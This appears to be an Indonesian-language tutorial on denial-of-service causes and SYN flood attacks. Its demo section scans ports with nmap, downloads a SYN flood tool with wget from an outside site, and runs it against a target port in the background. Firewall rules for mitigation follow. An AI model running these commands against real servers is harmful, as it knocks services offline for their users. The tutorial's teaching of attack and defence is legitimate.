DoS / DDoS (Syn Attack/ Syn Flood) Penyebab ternjadinya DoS ...

DoS / DDoS (Syn Attack/ Syn Flood)
Penyebab ternjadinya DoS (Denial of Service) pada Server:
1. Buffer Overflow adalah salah satu metode yang digunakan oleh penyerang untuk
mengeksploitasi sebuah sistem komputer yang memiliki kelemahan (vulnerability) pada salah satu
layanan yang digunakan oleh sistem tersebut. Dengan adanya buffer overflow attacker bisa
mengeksploit dengan membuat localroot (Mengambil alih user root) atau dapat diserang sehingga
servicenya mati (Denial of Service).
Untuk mencegah terjadinya Buffer Overflow, yaitu sesegera mungkin untuk update versi dari aplikasi
tersebut sebelum diketahui oleh attcker.
2. Bottleneck adalah dimana sebuah service tidak dapat menangani karena semua resource
(sumber daya) telah dipakai habis. Contoh sebuah server mempunyai bandwidht 1Mbps, jika dalam
satu waktu yang bersamaan server diakses oleh user biasa dalam jumlah 100 user (asumsi 1 user
mempunyai bandwidth 10Kbps), maka jika ada user ke 1001, user tersebut tidak akan menerima
service dari server. Untuk mencegah terjadinya bottleneck yaitu dengan meng-upgrade hardware dari
sebuah server, menambah bandwidth, atau memperbanyak server dengan teknik loadbalancing.
3. DoS / DDoS attack
Server akan down jika diserang menggunakan teknik DDoS, teknik DDoS sendiri banyak caranya
seperti bandwidth flooding, Ping Of Death (Attacker akan melakukan ping dengan manipulasi jumlah
paket yang dikirim ke server), UDP Flood, dan teknik yang paling sering digunakan itu teknik Syn
Attack.
Demo Syn Attack
1. Scanning Port
attacker@ubuntu:~$ sudo nmap -sV 127.0.0.1
Starting Nmap 5.21 ( http://nmap.org ) at 2012-09-13 18:23 WIT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000027s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 (protocol 2.0)
25/tcp open smtp Sendmail 8.14.4/8.14.4/Debian-2ubuntu2
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: KIOSSUNDIP)
443/tcp open http Apache httpd 2.2.22 ((Ubuntu))
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: KIOSSUNDIP)
587/tcp open smtp Sendmail 8.14.4/8.14.4/Debian-2ubuntu2
631/tcp open ipp CUPS 1.5
3128/tcp open http-proxy Squid webproxy 3.1.19
3306/tcp open mysql MySQL 5.5.24-0ubuntu0.12.04.1
Service Info: Host: idiot; OS: Unix
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.01 seconds
Cari port dengan state-nya open, disini bisa menggunakan port 80

2. Download Tool Syn Attack
attacker@ubuntu:~$ wget http://unkn0wn.or.id/vadim.tar.gz
attacker@ubuntu:~$ tar -xzf vadim.tar.gz
attacker@ubuntu:~$ cd dos/
attacker@ubuntu:~$ ./vadimI [domain.com/IP Server] [port] [jumlah paket yang akan dikirim]
attacker@ubuntu:~$ ./vadimI 127.0.0.1 80 9999999999999999999999999999999
Vadim v.Ibeta by Luciffer
Registered to: Anybody
--------------------------------
Slashing your angry Vadims at 127.0.0.1, port 80 spoofed as 9999999999999999999999999999999
Agar dalam attacking bekerja secara daemon, bisa menambah perintah "&" diakhir baris
attacker@ubuntu:~$ ./vadimI 127.0.0.1 80 9999999999999999999999999999999 &
Untuk mencegah dari serangan ini, bisa lihat modul dari Bpk. Agus halaman 39 tentang setting modul
kernel (/etc/sysctl.conf) juga perlu disetting firewall (iptables) dengan menambah rules nya seperti:
root@server:~# iptables -N syn-flood
root@server:~# iptables -A syn-flood -m limit --limit 10/second --limit-burst 50 -j RETURN
root@server:~# iptables -A syn-flood -j LOG --log-prefix "SYN FLOOD: "
root@server:~# iptables -A syn-flood -j DROP
root@server:~# iptables-save
Agar server kita tidak mem-banned IP Attacker (hanya melindungi dari Syn attacking), maka
root@server:~# iptables -A syn-flood -j LOG --log-prefix "SYN FLOOD: "
root@server:~# iptables -A syn-flood -j DROP
tidak perlu ditulis.
NB:
Jika yang server yang digunakan adalah sebuah mesin virtual (VPS), maka pengaturan IPTABLES
dilakukan pada Server Hostnya, sedangkan pengaturan pada kernel (/etc/sysctl.conf) harus tetap
disetting pada setiap mesin.
jika ingin mengetahui tentang konsep Syn Attack bisa merujuk ke halaman
http://en.wikipedia.org/wiki/SYN_flood